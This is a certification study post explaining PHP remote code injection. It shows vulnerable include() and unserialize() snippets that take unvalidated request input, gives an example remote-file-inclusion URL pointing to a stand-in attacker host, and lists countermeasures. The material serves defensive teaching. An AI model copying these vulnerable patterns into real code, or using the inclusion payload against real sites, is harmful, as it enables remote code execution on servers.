Zend PHP 7 Certification – Security – Remote Code Injection

This post covers the Remote Code Injection section of the PHP Security chapter when studying for the Zend PHP 7 Certification.

Remote code injection, also known as remote file inclusion attacks, run malicious code created by an attacker on a given server. This is often done by exploiting the functionality of PHP’s include() and require() functions, or by not sanitising data as a result of using unserialize().

Consider the following example:

$incfile = $_REQUEST["file"];
include($incfile.".php");

The path is extracted from the HTTP request and no input validation is done (for example, by checking the input against a white list).

Therefore, the file parameter could include something like the following:

http://www.unsecuresite.com/unsecure_page.php?file=http://attacker_site/malicous_page

In this case the remote file is going to be included and any code contained in it is going to be run by the server.

You should never pass untrusted user input to unserialize() as unserialising can result in code being loaded and executed due to object instantiation and autoloading, and a malicious user may be able to exploit this.

$incfile = $_REQUEST["file"];
unserialize(file_get_contents($incFile));

In PHP 7.0, a second option parameter can be passed into unserialize(), which can either be an allowed_classes array of class names which should be accepted, FALSE to accept no classes, or TRUE to accept all classes.

This can help protect against remote code injection as only the classes whitelisted within the array can be unserialised. However, it should be noted that you should never trust user input regardless of having an allowed_classes array.

$data = unserialize($incFile, ["allowed_classes" => ["MyClass1", "MyClass2"]]);

Functions including eval(), exec() and system() are all vulnerable to remote code injection.

Fortunately there are counter measures that can be put in place. These include:

  • Checking data against a whitelist.
  • Checking the path using the basename() function. The basename() function returns the trailing name component of path.
  • Setting the configuration directive allow_url_fopen to off in php.ini, which otherwise allows files to be included from external sources.
  • Use a safe, standard data interchange format such as JSON (via json_decode() and json_encode()) if you need to pass serialised data to the user.

Other counter measures include the use of the escapeshellarg() and escapeshellcmd() functions.

The escapeshellarg() function adds single quotes around a string and quotes/escapes any existing single quotes allowing you to pass a string directly to a shell function and having it be treated as a single safe argument.

<?php
system('ls '.escapeshellarg($dir));

The escapeshellcmd() function escapes any characters in a string that might be used to trick a shell command into executing arbitrary commands.

// We allow arbitrary number of arguments intentionally here.
$command = './configure '.$_POST['configure_options'];

$escaped_command = escapeshellcmd($command);
 
system($escaped_command);

View the other sections:

Note: This article is based on PHP version 7.0